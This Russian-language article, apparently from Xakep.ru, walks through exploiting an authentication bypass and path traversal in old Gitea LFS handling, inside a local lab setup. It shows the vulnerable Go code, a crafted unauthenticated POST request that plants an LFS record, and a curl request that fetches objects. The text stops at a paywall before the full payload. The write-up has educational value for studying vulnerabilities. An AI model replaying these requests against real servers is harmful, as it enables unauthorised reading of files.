Содержание статьи
INFO
Gitea — это форк небезызвестной Gogs, написанный на языке Go.
Моя основная система — это Windows, поэтому на ней и будем разбирать примеры. Для запуска своего Git-сервиса достаточно просто скачать нужную версию и выполнить одну команду.
Уязвимы все версии до 1.4-rc3 включительно. Я решил использовать версию 1.3.3. Загрузим ее с официального сайта. После этого создадим отдельную папку, в которую перекинем скачанный файл. Дальше из командной строки выполняем следующие команды.
После запуска приложения в текущей директории будут созданы конфигурационные файлы. Переходим по адресу http://localhost:3000
и попадаем на экран первоначальной настройки системы. Тут все просто, и можно оставить все настройки по умолчанию. Только в качестве используемой БД я выбрал SQLite 3, потому что не хочу заморачиваться с отдельным сервером.
После базовой настройки остается только создать аккаунт и тестовый репозиторий.
Если ты хочешь использовать Linux в качестве подопытной системы, то уязвимый докер-контейнер можно поднять такой командой:
$ docker run -d --rm -p 3000:3000 --name=gitea vulhub/gitea:1.4.0
Остальные шаги будут аналогичны установке под Windows.
Первое звено цепочки. Path Traversal
Первая уязвимость в цепочке связана с обходом авторизации. Здесь стоит рассказать о Git LFS. Это специальный контейнер, который создан для хранения очень больших файлов Large File System (LFS). Такие файлы хранятся вне основной директории репозитория Git, а в нем находятся только файлы индекса. При первоначальной конфигурации Gitea можно указать путь этой папки (опция LFS Root Path), по умолчанию она установлена в data/lfs
для Windows-версии сервера и /data/gitea/lfs/
для Linux.
Вся логика для работы с HTTP-запросами к LFS описана в файле modules/lfs/server.go. Посмотрим на обработчик POST-запросов, служащий для отправки информации о больших файлах.
/modules/lfs/server.go
199: func PostHandler(ctx *context.Context) {
200:
201: if !setting.LFS.StartServer {
202: writeStatus(ctx, 404)
203: return
204: }
205:
206: if !MetaMatcher(ctx.Req) {
207: writeStatus(ctx, 400)
208: return
209: }
...
221: if !authenticate(ctx, repository, rv.Authorization, true) {
222: requireAuth(ctx)
223: }
Обрати внимание на строку 221: здесь происходит проверка прав текущего пользователя на репозиторий, к которому будут привязываться загруженные файлы.
/modules/lfs/server.go
480: func authenticate(ctx *context.Context, repository *models.Repository, authorization string, requireWrite bool) bool {
...
491: if ctx.IsSigned {
492: accessCheck, _ := models.HasAccess(ctx.User.ID, repository, accessMode)
493: return accessCheck
494: }
...
504: if !strings.HasPrefix(authorization, "Basic ") {
505: return false
506: }
...
508: c, err := base64.StdEncoding.DecodeString(strings.TrimPrefix(authorization, "Basic "))
509: if err != nil {
510: return false
511: }
...
524: if !userModel.ValidatePassword(password) {
525: return false
526: }
...
528: accessCheck, _ := models.HasAccess(userModel.ID, repository, accessMode)
529: return accessCheck
Если доступа у юзера нет или запрос вообще был отправлен неавторизованным анонимом, то вызывается requireAuth
. Эта функция возвращает ответ со статусом 401.
/modules/lfs/server.go
572: func requireAuth(ctx *context.Context) {
573: ctx.Resp.Header().Set("WWW-Authenticate", "Basic realm=gitea-lfs")
574: writeStatus(ctx, 401)
575: }
Однако PostHandler
после этого не прекращает выполнение, так как отсутствует выход из функции с помощью оператора return
, как это сделано в предыдущих проверках на строках 201 и 206. Из-за этого ошибка сохранения данных о файле все же произойдет.
/modules/lfs/server.go
225: meta, err := models.NewLFSMetaObject(&models.LFSMetaObject{Oid: rv.Oid, Size: rv.Size, RepositoryID: repository.ID})
226: if err != nil {
227: writeStatus(ctx, 404)
228: return
229: }
Запомним этот трюк и посмотрим на структуру тела запроса, который сохраняет данные о большом файле.
{
"Oid": "aabbccddeeff01234567890123456789012345678",
"Size": 1000000
}
С size
, я думаю, все понятно — это размер файла, а вот Oid
— это ID объекта (ObjectID). Это SHA-хеш, контрольная сумма содержимого и заголовка файла. Если ты знаешь структуру репозитория, то в курсе, что существует папка objects
, в которой и хранятся эти объекты. Подробнее о структуре можно прочитать, например, на git-scm.com.
Сейчас же нас интересует, что данный хеш — это часть пути, который будет формироваться при попытке доступа к нужному объекту. В Gitea они сохраняются в базе данных, в таблице lfs_meta_object
.
/models/lfs.go
44: func NewLFSMetaObject(m *LFSMetaObject) (*LFSMetaObject, error) {
...
63: if _, err = sess.Insert(m); err != nil {
64: return nil, err
65: }
66:
67: return m, sess.Commit()
/models/lfs.go
09: type LFSMetaObject struct {
10: ID int64 `xorm:"pk autoincr"`
11: Oid string `xorm:"UNIQUE(s) INDEX NOT NULL"`
12: Size int64 `xorm:"NOT NULL"`
13: RepositoryID int64 `xorm:"UNIQUE(s) INDEX NOT NULL"`
14: Existing bool `xorm:"-"`
15: Created time.Time `xorm:"-"`
16: CreatedUnix int64 `xorm:"created"`
17: }
При помощи следующего запроса мы создадим записи о наличии большого файла в репозитории.
POST /vh/test.git/info/lfs/objects HTTP/1.1
Host: gitea.vh:3000
Accept: application/vnd.git-lfs+json
Accept-Language: en
Content-Type: application/json
Content-Length: 151
{
"Oid": "aabbccddeeff01234567890123456789012345678",
"Size": 1000000
}
В таблице lfs_meta_object
появилась новая запись. Чтобы в этом убедиться, я открою файл data/gitea.db
. Как ты помнишь, в качестве БД я использую SQLite.
Обрати внимание, что статус ответа — 401 и первая строка — {"message": "Unauthorized"}
. Но это не помешало оставшейся части кода выполниться и создать запись. Байпас в действии.
Предыдущим запросом мы сказали системе: «Хэй, Gitea, в репозитории test.git, принадлежащем юзеру vh, есть большой файл, за который отвечает объект с именем aabbcc…». Теперь по адресу http://gitea.vh:3000/vh/test/info/lfs/objects/aabbcc...
у нас имеется интерфейс для работы с файлом. Разными запросами мы можем читать, удалять и изменять файл. В общем случае при обращении к этому объекту система будет пытаться найти его на диске и открыть.
Посмотрим на обработчик getContentHandler
.
/modules/lfs/server.go
134: func getContentHandler(ctx *context.Context) {
135: rv := unpack(ctx)
136:
137: meta, _ := getAuthenticatedRepoAndMeta(ctx, rv, false)
...
155: contentStore := &ContentStore{BasePath: setting.LFS.ContentPath}
156: content, err := contentStore.Get(meta, fromByte)
Корневая директория LFS, в которой должны храниться все большие файлы, как мы уже знаем, указывается при начальной настройке системы. Она лежит в setting.LFS.ContentPath
(LFS_CONTENT_PATH в ini-файле). Работа с ContentStore
описана в файле modules/lfs/content_store.go
. Посмотрим на метод Get
.
/modules/lfs/content_store.go
26: func (s *ContentStore) Get(meta *models.LFSMetaObject, fromByte int64) (io.ReadCloser, error) {
27: path := filepath.Join(s.BasePath, transformKey(meta.Oid))
28:
29: f, err := os.Open(path)
30: if err != nil {
31: return nil, err
32: }
33: if fromByte > 0 {
34: _, err = f.Seek(fromByte, os.SEEK_CUR)
35: }
36: return f, err
37: }
Его можно триггернуть при помощи GET-запроса.
$ curl -I -s "http://gitea.vh:3000/vh/test/info/lfs/objects/aabbccddeeff01234567890123456789012345678/any"
На 27-й строке формируется путь до файла. В ней используется путь к хранилищу LFS и Oid, переданный нами в запросе. Но сначала хеш попадает в функцию transformKey
.
/modules/lfs/content_store.go
100: func transformKey(key string) string {
101: if len(key) < 5 {
102: return key
103: }
104:
105: return filepath.Join(key[0:2], key[2:4], key[4:])
106: }
Конструкция filepath.Join(key[0:2], key[2:4], key[4:])
приводит нашу строку к следующему виду:
aa/bb/ccddeeff01234567890123456789012345678
Это относительный путь файла, который нужно прочитать. Не забываем про BasePath
, в итоге полный путь выглядит так:
-
для Windows:
<директория_запуска_gitea>/data/lfs/aa/bb/ccddeeff01234567890123456789012345678
-
для Linux:
/data/gitea/lfs/aa/bb/ccddeeff01234567890123456789012345678
Разумеется, такого файла сейчас не существует и наш запрос вернет код 404.
И все бы ничего, но вот только параметр Oid никак не проверяется при записи в базу. Значит, можно попробовать провернуть атаку типа path traversal, выйти из корневой директории LFS и прочитать любой файл. Давай проверим.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»